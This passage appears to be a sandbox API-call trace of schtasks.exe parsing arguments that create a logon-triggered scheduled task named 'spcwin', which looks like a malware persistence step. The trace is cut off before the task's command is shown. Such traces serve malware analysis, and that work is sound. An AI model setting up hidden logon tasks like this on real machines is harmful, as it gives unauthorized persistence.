returned 0x7fefbe31614 [0129.912] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x26c230 | out: lpData=0x26c230) returned 1 [0129.912] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0129.912] VerQueryValueW (in: pBlock=0x26c230, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1df188, puLen=0x1df1f0 | out: lplpBuffer=0x1df188*=0x26c5cc, puLen=0x1df1f0) returned 1 [0129.915] _memicmp (_Buf1=0x26bae0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.915] _vsnwprintf (in: _Buffer=0x26bc80, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1df168 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0129.915] VerQueryValueW (in: pBlock=0x26c230, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1df1f8, puLen=0x1df1e8 | out: lplpBuffer=0x1df1f8*=0x26c3f8, puLen=0x1df1e8) returned 1 [0129.916] lstrlenW (lpString="schtasks.exe") returned 12 [0129.916] lstrlenW (lpString="schtasks.exe") returned 12 [0129.916] lstrlenW (lpString=".EXE") returned 4 [0129.916] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0129.917] lstrlenW (lpString="schtasks.exe") returned 12 [0129.917] lstrlenW (lpString=".EXE") returned 4 [0129.917] _memicmp (_Buf1=0x26bae0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.917] lstrlenW (lpString="schtasks") returned 8 [0129.917] GetProcessHeap () returned 0x250000 [0129.917] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x265dd0 [0129.917] GetProcessHeap () returned 0x250000 [0129.917] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cb40 [0129.917] GetProcessHeap () returned 0x250000 [0129.917] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cb70 [0129.917] GetProcessHeap () returned 0x250000 [0129.917] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cba0 [0129.917] GetProcessHeap () returned 0x250000 [0129.917] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bb00 [0129.918] _memicmp (_Buf1=0x26bb00, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.918] GetProcessHeap () returned 0x250000 [0129.918] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xa0) returned 0x26c080 [0129.918] GetProcessHeap () returned 0x250000 [0129.918] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cbd0 [0129.918] GetProcessHeap () returned 0x250000 [0129.918] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc00 [0129.918] GetProcessHeap () returned 0x250000 [0129.918] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc30 [0129.918] GetProcessHeap () returned 0x250000 [0129.918] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26bb20 [0129.918] _memicmp (_Buf1=0x26bb20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.918] GetProcessHeap () returned 0x250000 [0129.918] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x200) returned 0x26d310 [0129.918] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x26d310, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0129.918] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0129.918] GetProcessHeap () returned 0x250000 [0129.918] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x30) returned 0x267ad0 [0129.918] _vsnwprintf (in: _Buffer=0x26c080, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1df168 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0129.918] GetProcessHeap () returned 0x250000 [0129.918] GetProcessHeap () returned 0x250000 [0129.919] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c230) returned 1 [0129.919] GetProcessHeap () returned 0x250000 [0129.919] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c230) returned 0x74e [0129.919] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c230 | out: hHeap=0x250000) returned 1 [0129.919] SetLastError (dwErrCode=0x0) [0129.919] GetThreadLocale () returned 0x409 [0129.919] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.919] lstrlenW (lpString="?") returned 1 [0129.919] GetThreadLocale () returned 0x409 [0129.919] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.920] lstrlenW (lpString="create") returned 6 [0129.920] GetThreadLocale () returned 0x409 [0129.920] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.920] lstrlenW (lpString="delete") returned 6 [0129.920] GetThreadLocale () returned 0x409 [0129.920] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.920] lstrlenW (lpString="query") returned 5 [0129.920] GetThreadLocale () returned 0x409 [0129.920] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.920] lstrlenW (lpString="change") returned 6 [0129.920] GetThreadLocale () returned 0x409 [0129.920] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.920] lstrlenW (lpString="run") returned 3 [0129.920] GetThreadLocale () returned 0x409 [0129.920] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.920] lstrlenW (lpString="end") returned 3 [0129.920] GetThreadLocale () returned 0x409 [0129.920] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.920] lstrlenW (lpString="showsid") returned 7 [0129.920] GetThreadLocale () returned 0x409 [0129.920] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0129.920] SetLastError (dwErrCode=0x0) [0129.920] SetLastError (dwErrCode=0x0) [0129.920] lstrlenW (lpString="/create") returned 7 [0129.920] lstrlenW (lpString="-/") returned 2 [0129.920] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.920] lstrlenW (lpString="?") returned 1 [0129.920] lstrlenW (lpString="?") returned 1 [0129.920] GetProcessHeap () returned 0x250000 [0129.920] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26c230 [0129.921] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.921] GetProcessHeap () returned 0x250000 [0129.921] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xa) returned 0x26c250 [0129.921] lstrlenW (lpString="create") returned 6 [0129.921] GetProcessHeap () returned 0x250000 [0129.921] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26c270 [0129.921] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.921] GetProcessHeap () returned 0x250000 [0129.921] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x14) returned 0x26c290 [0129.921] _vsnwprintf (in: _Buffer=0x26c250, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|?|") returned 3 [0129.921] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|create|") returned 8 [0129.921] lstrlenW (lpString="|?|") returned 3 [0129.921] lstrlenW (lpString="|create|") returned 8 [0129.921] SetLastError (dwErrCode=0x490) [0129.921] lstrlenW (lpString="create") returned 6 [0129.921] lstrlenW (lpString="create") returned 6 [0129.921] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.921] GetProcessHeap () returned 0x250000 [0129.921] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c250) returned 1 [0129.921] GetProcessHeap () returned 0x250000 [0129.921] RtlReAllocateHeap (Heap=0x250000, Flags=0xc, Ptr=0x26c250, Size=0x14) returned 0x26c2b0 [0129.921] lstrlenW (lpString="create") returned 6 [0129.921] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.921] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|create|") returned 8 [0129.921] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|create|") returned 8 [0129.921] lstrlenW (lpString="|create|") returned 8 [0129.921] lstrlenW (lpString="|create|") returned 8 [0129.922] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0129.922] SetLastError (dwErrCode=0x0) [0129.922] SetLastError (dwErrCode=0x0) [0129.922] SetLastError (dwErrCode=0x0) [0129.922] lstrlenW (lpString="/tn") returned 3 [0129.922] lstrlenW (lpString="-/") returned 2 [0129.922] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.922] lstrlenW (lpString="?") returned 1 [0129.922] lstrlenW (lpString="?") returned 1 [0129.922] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.922] lstrlenW (lpString="tn") returned 2 [0129.922] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.922] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|?|") returned 3 [0129.922] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tn|") returned 4 [0129.922] lstrlenW (lpString="|?|") returned 3 [0129.922] lstrlenW (lpString="|tn|") returned 4 [0129.922] SetLastError (dwErrCode=0x490) [0129.922] lstrlenW (lpString="create") returned 6 [0129.922] lstrlenW (lpString="create") returned 6 [0129.922] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.922] lstrlenW (lpString="tn") returned 2 [0129.922] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.922] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|create|") returned 8 [0129.922] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tn|") returned 4 [0129.922] lstrlenW (lpString="|create|") returned 8 [0129.922] lstrlenW (lpString="|tn|") returned 4 [0129.922] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0129.922] SetLastError (dwErrCode=0x490) [0129.923] lstrlenW (lpString="delete") returned 6 [0129.923] lstrlenW (lpString="delete") returned 6 [0129.923] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.923] lstrlenW (lpString="tn") returned 2 [0129.923] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.923] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|delete|") returned 8 [0129.923] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tn|") returned 4 [0129.923] lstrlenW (lpString="|delete|") returned 8 [0129.923] lstrlenW (lpString="|tn|") returned 4 [0129.923] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0129.923] SetLastError (dwErrCode=0x490) [0129.923] lstrlenW (lpString="query") returned 5 [0129.923] lstrlenW (lpString="query") returned 5 [0129.923] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.923] lstrlenW (lpString="tn") returned 2 [0129.923] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.923] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|query|") returned 7 [0129.923] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tn|") returned 4 [0129.923] lstrlenW (lpString="|query|") returned 7 [0129.923] lstrlenW (lpString="|tn|") returned 4 [0129.923] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0129.923] SetLastError (dwErrCode=0x490) [0129.923] lstrlenW (lpString="change") returned 6 [0129.923] lstrlenW (lpString="change") returned 6 [0129.923] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.923] lstrlenW (lpString="tn") returned 2 [0129.924] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.924] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|change|") returned 8 [0129.924] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tn|") returned 4 [0129.924] lstrlenW (lpString="|change|") returned 8 [0129.924] lstrlenW (lpString="|tn|") returned 4 [0129.924] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0129.924] SetLastError (dwErrCode=0x490) [0129.924] lstrlenW (lpString="run") returned 3 [0129.924] lstrlenW (lpString="run") returned 3 [0129.924] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.924] lstrlenW (lpString="tn") returned 2 [0129.924] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.924] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|run|") returned 5 [0129.924] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tn|") returned 4 [0129.924] lstrlenW (lpString="|run|") returned 5 [0129.924] lstrlenW (lpString="|tn|") returned 4 [0129.924] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0129.924] SetLastError (dwErrCode=0x490) [0129.924] lstrlenW (lpString="end") returned 3 [0129.924] lstrlenW (lpString="end") returned 3 [0129.924] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.924] lstrlenW (lpString="tn") returned 2 [0129.924] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.924] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|end|") returned 5 [0129.925] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tn|") returned 4 [0129.925] lstrlenW (lpString="|end|") returned 5 [0129.925] lstrlenW (lpString="|tn|") returned 4 [0129.925] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0129.925] SetLastError (dwErrCode=0x490) [0129.925] lstrlenW (lpString="showsid") returned 7 [0129.925] lstrlenW (lpString="showsid") returned 7 [0129.925] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.925] GetProcessHeap () returned 0x250000 [0129.925] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2b0) returned 1 [0129.925] GetProcessHeap () returned 0x250000 [0129.925] RtlReAllocateHeap (Heap=0x250000, Flags=0xc, Ptr=0x26c2b0, Size=0x16) returned 0x26c2b0 [0129.925] lstrlenW (lpString="tn") returned 2 [0129.925] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.925] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|showsid|") returned 9 [0129.925] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tn|") returned 4 [0129.925] lstrlenW (lpString="|showsid|") returned 9 [0129.925] lstrlenW (lpString="|tn|") returned 4 [0129.925] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0129.926] SetLastError (dwErrCode=0x490) [0129.926] SetLastError (dwErrCode=0x490) [0129.926] SetLastError (dwErrCode=0x0) [0129.926] lstrlenW (lpString="/tn") returned 3 [0129.926] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0129.926] SetLastError (dwErrCode=0x490) [0129.926] SetLastError (dwErrCode=0x0) [0129.926] lstrlenW (lpString="/tn") returned 3 [0129.926] GetProcessHeap () returned 0x250000 [0129.926] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26c250 [0129.926] GetProcessHeap () returned 0x250000 [0129.926] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc60 [0129.926] SetLastError (dwErrCode=0x0) [0129.926] SetLastError (dwErrCode=0x0) [0129.926] lstrlenW (lpString="spcwin") returned 6 [0129.926] lstrlenW (lpString="-/") returned 2 [0129.926] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0129.926] SetLastError (dwErrCode=0x490) [0129.926] SetLastError (dwErrCode=0x490) [0129.926] SetLastError (dwErrCode=0x0) [0129.926] lstrlenW (lpString="spcwin") returned 6 [0129.926] StrChrIW (lpStart="spcwin", wMatch=0x3a) returned 0x0 [0129.926] SetLastError (dwErrCode=0x490) [0129.926] SetLastError (dwErrCode=0x0) [0129.926] lstrlenW (lpString="spcwin") returned 6 [0129.926] GetProcessHeap () returned 0x250000 [0129.926] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d550 [0129.926] GetProcessHeap () returned 0x250000 [0129.926] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cc90 [0129.926] SetLastError (dwErrCode=0x0) [0129.926] SetLastError (dwErrCode=0x0) [0129.927] lstrlenW (lpString="/sc") returned 3 [0129.927] lstrlenW (lpString="-/") returned 2 [0129.927] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.927] lstrlenW (lpString="?") returned 1 [0129.927] lstrlenW (lpString="?") returned 1 [0129.927] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.927] lstrlenW (lpString="sc") returned 2 [0129.927] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.927] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|?|") returned 3 [0129.927] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|sc|") returned 4 [0129.927] lstrlenW (lpString="|?|") returned 3 [0129.927] lstrlenW (lpString="|sc|") returned 4 [0129.927] SetLastError (dwErrCode=0x490) [0129.927] lstrlenW (lpString="create") returned 6 [0129.927] lstrlenW (lpString="create") returned 6 [0129.927] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.927] lstrlenW (lpString="sc") returned 2 [0129.927] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.927] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|create|") returned 8 [0129.927] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|sc|") returned 4 [0129.927] lstrlenW (lpString="|create|") returned 8 [0129.927] lstrlenW (lpString="|sc|") returned 4 [0129.927] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0129.927] SetLastError (dwErrCode=0x490) [0129.927] lstrlenW (lpString="delete") returned 6 [0129.927] lstrlenW (lpString="delete") returned 6 [0129.927] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.928] lstrlenW (lpString="sc") returned 2 [0129.928] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.928] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|delete|") returned 8 [0129.928] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|sc|") returned 4 [0129.928] lstrlenW (lpString="|delete|") returned 8 [0129.928] lstrlenW (lpString="|sc|") returned 4 [0129.928] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0129.928] SetLastError (dwErrCode=0x490) [0129.928] lstrlenW (lpString="query") returned 5 [0129.928] lstrlenW (lpString="query") returned 5 [0129.928] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.928] lstrlenW (lpString="sc") returned 2 [0129.928] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.928] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|query|") returned 7 [0129.928] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|sc|") returned 4 [0129.928] lstrlenW (lpString="|query|") returned 7 [0129.928] lstrlenW (lpString="|sc|") returned 4 [0129.928] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0129.928] SetLastError (dwErrCode=0x490) [0129.928] lstrlenW (lpString="change") returned 6 [0129.928] lstrlenW (lpString="change") returned 6 [0129.928] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.928] lstrlenW (lpString="sc") returned 2 [0129.928] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.928] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|change|") returned 8 [0129.929] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|sc|") returned 4 [0129.929] lstrlenW (lpString="|change|") returned 8 [0129.929] lstrlenW (lpString="|sc|") returned 4 [0129.929] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0129.929] SetLastError (dwErrCode=0x490) [0129.929] lstrlenW (lpString="run") returned 3 [0129.929] lstrlenW (lpString="run") returned 3 [0129.929] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.929] lstrlenW (lpString="sc") returned 2 [0129.929] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.929] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|run|") returned 5 [0129.929] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|sc|") returned 4 [0129.929] lstrlenW (lpString="|run|") returned 5 [0129.929] lstrlenW (lpString="|sc|") returned 4 [0129.929] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0129.929] SetLastError (dwErrCode=0x490) [0129.929] lstrlenW (lpString="end") returned 3 [0129.929] lstrlenW (lpString="end") returned 3 [0129.929] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.929] lstrlenW (lpString="sc") returned 2 [0129.929] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.929] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|end|") returned 5 [0129.929] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|sc|") returned 4 [0129.929] lstrlenW (lpString="|end|") returned 5 [0129.929] lstrlenW (lpString="|sc|") returned 4 [0129.929] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0129.929] SetLastError (dwErrCode=0x490) [0129.930] lstrlenW (lpString="showsid") returned 7 [0129.930] lstrlenW (lpString="showsid") returned 7 [0129.930] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.930] lstrlenW (lpString="sc") returned 2 [0129.930] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.930] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|showsid|") returned 9 [0129.930] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|sc|") returned 4 [0129.930] lstrlenW (lpString="|showsid|") returned 9 [0129.930] lstrlenW (lpString="|sc|") returned 4 [0129.930] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0129.930] SetLastError (dwErrCode=0x490) [0129.930] SetLastError (dwErrCode=0x490) [0129.930] SetLastError (dwErrCode=0x0) [0129.930] lstrlenW (lpString="/sc") returned 3 [0129.930] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0129.930] SetLastError (dwErrCode=0x490) [0129.930] SetLastError (dwErrCode=0x0) [0129.930] lstrlenW (lpString="/sc") returned 3 [0129.930] GetProcessHeap () returned 0x250000 [0129.930] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26dd20 [0129.930] GetProcessHeap () returned 0x250000 [0129.930] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ccc0 [0129.930] SetLastError (dwErrCode=0x0) [0129.930] SetLastError (dwErrCode=0x0) [0129.930] lstrlenW (lpString="ONLOGON") returned 7 [0129.930] lstrlenW (lpString="-/") returned 2 [0129.930] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0129.930] SetLastError (dwErrCode=0x490) [0129.930] SetLastError (dwErrCode=0x490) [0129.930] SetLastError (dwErrCode=0x0) [0129.931] lstrlenW (lpString="ONLOGON") returned 7 [0129.931] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0129.931] SetLastError (dwErrCode=0x490) [0129.931] SetLastError (dwErrCode=0x0) [0129.931] lstrlenW (lpString="ONLOGON") returned 7 [0129.931] GetProcessHeap () returned 0x250000 [0129.931] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26d570 [0129.931] GetProcessHeap () returned 0x250000 [0129.931] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26ccf0 [0129.931] SetLastError (dwErrCode=0x0) [0129.931] SetLastError (dwErrCode=0x0) [0129.931] lstrlenW (lpString="/tr") returned 3 [0129.931] lstrlenW (lpString="-/") returned 2 [0129.931] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.931] lstrlenW (lpString="?") returned 1 [0129.931] lstrlenW (lpString="?") returned 1 [0129.931] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.931] lstrlenW (lpString="tr") returned 2 [0129.931] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.931] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|?|") returned 3 [0129.931] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tr|") returned 4 [0129.931] lstrlenW (lpString="|?|") returned 3 [0129.931] lstrlenW (lpString="|tr|") returned 4 [0129.931] SetLastError (dwErrCode=0x490) [0129.931] lstrlenW (lpString="create") returned 6 [0129.931] lstrlenW (lpString="create") returned 6 [0129.931] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.932] lstrlenW (lpString="tr") returned 2 [0129.932] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.932] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|create|") returned 8 [0129.932] 